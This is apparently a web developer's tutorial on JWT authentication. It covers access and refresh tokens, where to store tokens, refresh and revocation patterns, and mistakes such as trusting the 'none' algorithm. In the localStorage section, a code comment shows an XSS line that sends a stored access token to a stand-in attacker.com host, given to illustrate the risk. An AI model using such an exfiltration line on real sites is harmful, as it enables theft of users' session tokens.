Understanding what a JWT contains is one thing. Understanding how JWT authentication actually works in a real application is another. This guide covers the full picture: the login flow, the difference between access and refresh tokens, where to store JWTs safely, how expiry and token refresh works, and the security mistakes that expose your users.

If you need a refresher on JWT structure and how to decode one, start with What is a JWT Token and How Do You Decode It.

How JWT authentication works - the full flow

JWT authentication replaces server-side sessions. Instead of the server storing a session ID and looking it up on every request, the server issues a signed token that the client stores and sends back. The server verifies the signature on each request - no database lookup needed.

The flow looks like this:

  1. User submits login credentials (email and password)
  2. Server verifies credentials against the database
  3. Server creates a JWT containing the user's ID, role, and expiry time, signs it with a secret key, and sends it back
  4. Client stores the JWT and sends it in the Authorization header on every subsequent request
  5. Server receives the request, verifies the JWT signature, reads the payload, and processes the request if valid
  6. When the JWT expires, the client requests a new one using a refresh token
// Step 4: client sends the JWT with every request
fetch('/api/user/profile', {
  headers: {
    'Authorization': `Bearer ${accessToken}`
  }
});

// Step 5: server verifies and reads the token (Node.js example)
const jwt = require('jsonwebtoken');

function verifyToken(req, res, next) {
  const token = req.headers.authorization?.split(' ')[1];
  try {
    const decoded = jwt.verify(token, process.env.JWT_SECRET);
    req.user = decoded;
    next();
  } catch (err) {
    res.status(401).json({ error: 'Invalid or expired token' });
  }
}

Access tokens vs refresh tokens

Most JWT authentication systems use two tokens, not one. They serve different purposes and have different lifetimes.

TokenLifetimePurposeWhere stored
Access token15 min - 1 hourAuthorizes API requestsMemory or httpOnly cookie
Refresh tokenDays to weeksGets new access tokenshttpOnly cookie only

The access token is what the client sends with every API request. It is short-lived by design - if it is stolen, the damage window is small. The refresh token is long-lived and stored more securely. Its only job is to get a new access token when the current one expires.

// Server issues both tokens on login
const accessToken = jwt.sign(
  { userId: user.id, role: user.role },
  process.env.JWT_SECRET,
  { expiresIn: '15m' }
);

const refreshToken = jwt.sign(
  { userId: user.id },
  process.env.REFRESH_SECRET,
  { expiresIn: '7d' }
);

// Access token returned in response body
// Refresh token set as httpOnly cookie
res.cookie('refreshToken', refreshToken, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',
  maxAge: 7 * 24 * 60 * 60 * 1000
});

Why two tokens? A single long-lived access token is convenient but risky - if stolen, it works for days or weeks. Two tokens give you the best of both: the access token expires quickly to limit damage, and the refresh token enables seamless re-authentication without the user logging in again.

Where to store JWTs - localStorage vs cookies

This is the most debated question in JWT implementation and the most common source of security mistakes. The options are localStorage, sessionStorage, in-memory JavaScript variables, and httpOnly cookies.

localStorage and sessionStorage

Simple to implement - read and write with one line of JavaScript. The problem is that any JavaScript running on your page can also read localStorage. If your site has an XSS vulnerability - even from a third-party script - an attacker can steal every JWT in localStorage.

// localStorage - simple but vulnerable to XSS
localStorage.setItem('accessToken', token);
const token = localStorage.getItem('accessToken');

// An attacker with XSS access can do the same:
// fetch('https://attacker.com/steal?t=' + localStorage.getItem('accessToken'))

httpOnly cookies

An httpOnly cookie cannot be read by JavaScript at all - only the browser sends it automatically with matching requests. This makes XSS attacks ineffective for stealing the token. The tradeoff is that cookies are vulnerable to CSRF attacks, which you mitigate with SameSite and CSRF tokens.

// httpOnly cookie - JavaScript cannot read this
res.cookie('accessToken', token, {
  httpOnly: true,    // no JS access
  secure: true,     // HTTPS only
  sameSite: 'strict' // CSRF protection
});

In-memory storage

Storing the access token in a JavaScript variable (not localStorage, not a cookie) means it vanishes on page refresh. This is the most secure option for access tokens because it is never persisted anywhere. Pair it with a refresh token in an httpOnly cookie to restore the access token on page load.

// In-memory access token - most secure, lost on refresh
let accessToken = null;

async function login(email, password) {
  const res = await fetch('/api/login', { method: 'POST', body: ... });
  const data = await res.json();
  accessToken = data.accessToken; // stored only in memory
  // refresh token is set as httpOnly cookie by the server
}

// On page load, silently get a new access token using the cookie
async function refreshAccessToken() {
  const res = await fetch('/api/refresh', { credentials: 'include' });
  const data = await res.json();
  accessToken = data.accessToken;
}
Storage methodXSS riskCSRF riskSurvives refresh
localStorageHighLowYes
sessionStorageHighLowNo
In-memoryLowLowNo
httpOnly cookieLowMediumYes

Recommended pattern: Store the access token in memory. Store the refresh token in an httpOnly, Secure, SameSite=Strict cookie. On page load, call a silent refresh endpoint to restore the access token using the cookie. This gives you XSS protection, CSRF protection, and seamless re-authentication.

JWT expiry and token refresh

The exp claim in the JWT payload is a Unix timestamp. When the current time passes that timestamp, the token is expired and the server will reject it with a 401 response.

// Check expiry before sending a request
function isTokenExpired(token) {
  const payload = JSON.parse(atob(token.split('.')[1]));
  const now = Math.floor(Date.now() / 1000);
  return payload.exp < now;
}

// Proactive refresh - refresh 60 seconds before expiry
function shouldRefresh(token) {
  const payload = JSON.parse(atob(token.split('.')[1]));
  const now = Math.floor(Date.now() / 1000);
  return payload.exp - now < 60; // less than 60 seconds remaining
}

// Interceptor pattern - refresh automatically on 401
async function apiRequest(url, options) {
  let res = await fetch(url, {
    ...options,
    headers: { 'Authorization': `Bearer ${accessToken}` }
  });

  if (res.status === 401) {
    await refreshAccessToken();
    res = await fetch(url, {
      ...options,
      headers: { 'Authorization': `Bearer ${accessToken}` }
    });
  }

  return res;
}

Can a JWT be invalidated before it expires?

This is where JWT's stateless design creates a real limitation. Because the server does not store tokens, there is no built-in way to revoke one. If a user logs out or changes their password, their old tokens technically remain valid until they expire.

The two practical solutions are:

  • Short expiry times - keep access tokens short (15 minutes) so stolen tokens expire quickly regardless
  • Token blacklist - maintain a server-side store of invalidated token IDs, checked on every request. This adds a database lookup but enables true revocation
// Token blacklist approach - store revoked token IDs
const revokedTokens = new Set(); // use Redis in production

function revokeToken(token) {
  const payload = jwt.decode(token);
  revokedTokens.add(payload.jti); // jti = JWT ID claim
}

function isRevoked(token) {
  const payload = jwt.decode(token);
  return revokedTokens.has(payload.jti);
}

// Include jti when issuing tokens
const accessToken = jwt.sign(
  { userId: user.id, jti: crypto.randomUUID() },
  process.env.JWT_SECRET,
  { expiresIn: '15m' }
);

Refresh token rotation: Every time you issue a new access token using a refresh token, also issue a new refresh token and invalidate the old one. If an attacker steals a refresh token and uses it, the legitimate user's next refresh attempt will fail - alerting you to the compromise.

Common JWT security mistakes

The none algorithm vulnerability

Early JWT libraries accepted "alg": "none" in the header, meaning no signature required. An attacker could modify the payload, set the algorithm to none, and remove the signature entirely. The server would accept it as valid. Always use a library that explicitly rejects the none algorithm and never trust the algorithm specified in the token header.

// Wrong: trusting the algorithm from the token header
const decoded = jwt.verify(token, secret, {
  algorithms: payload.header.alg // never do this
});

// Correct: explicitly specify the allowed algorithm
const decoded = jwt.verify(token, secret, {
  algorithms: ['HS256'] // server decides, not the client
});

Storing sensitive data in the payload

The JWT payload is Base64 encoded, not encrypted. Anyone who has the token can decode it and read every claim. Never put passwords, payment details, or any sensitive personal data in a JWT payload. Stick to non-sensitive identifiers like user ID and role.

Not validating expiry on the server

Some implementations check expiry only on the client. This provides no security - a client can be modified to skip the check. The server must always verify the exp claim on every request. JWT libraries do this automatically when you call verify() instead of decode().

// Wrong: decode() does not verify expiry or signature
const payload = jwt.decode(token); // no validation at all

// Correct: verify() checks signature, expiry, and issuer
const payload = jwt.verify(token, secret); // throws if invalid

Using a weak or exposed secret key

The entire security of HS256-signed JWTs rests on the secret key. A short or guessable key can be brute-forced. Use a randomly generated key of at least 256 bits, store it in an environment variable, and rotate it if you suspect it has been compromised. When you rotate the key, all existing tokens immediately become invalid.

JWT vs session-based authentication

FactorJWTSessions
Server storageNone - statelessSession store required
ScalabilityEasy - any server can verifyNeeds shared session store
RevocationHard - requires blacklistEasy - delete the session
Token sizeLarger - carries claimsSmall - just a session ID
Best forAPIs, microservices, mobileTraditional web apps

JWTs are not universally better than sessions. For a monolithic web application with a single server, sessions are simpler and give you instant revocation. JWTs shine in distributed systems - APIs serving multiple clients, microservices that need to verify identity without a shared database, and mobile applications.

Frequently asked questions

What is the difference between an access token and a refresh token?

An access token is a short-lived JWT (typically 15 minutes to 1 hour) that the client sends with every API request. A refresh token is a long-lived token (days or weeks) stored securely and used only to get a new access token when the current one expires. The access token authorizes requests; the refresh token keeps the user logged in without re-entering credentials.

Should I store a JWT in localStorage or a cookie?

For most applications, httpOnly cookies are the safer choice. They cannot be read by JavaScript, which protects against XSS attacks. localStorage is simpler to implement but is accessible to any JavaScript on the page, making it vulnerable if your site has an XSS vulnerability. Store access tokens in memory or httpOnly cookies, and refresh tokens only in httpOnly cookies.

What happens when a JWT expires?

When a JWT access token expires, the server returns a 401 Unauthorized response. The client must then use its refresh token to request a new access token from the authentication server. If the refresh token has also expired, the user must log in again. The exp claim in the JWT payload contains the expiry time as a Unix timestamp.

Can a JWT be invalidated before it expires?

Not directly. JWTs are stateless - the server does not store them, so there is no built-in revocation mechanism. To invalidate a JWT before expiry, you need a token blacklist (a server-side store of revoked token IDs checked on every request) or a short expiry time combined with refresh token rotation. This is why access tokens should have short expiry times.

Is JWT the same as OAuth?

No. OAuth is an authorization framework - a set of rules for how authorization should work. JWT is a token format. OAuth often uses JWTs as the token format for access tokens, but JWT can be used independently of OAuth, and OAuth can use other token formats. They solve different problems and are often used together.

What is the none algorithm vulnerability in JWT?

Some early JWT libraries accepted none as a valid algorithm value in the header, meaning no signature was required. An attacker could modify the payload and set alg to none to bypass signature verification entirely. Always use a library that explicitly rejects the none algorithm, and never allow the algorithm to be specified by the client.

Inspect any JWT instantly

Paste a JWT and see the decoded header, payload claims, and expiry time. Runs entirely in your browser - nothing is sent to a server.

Open JWT Decoder →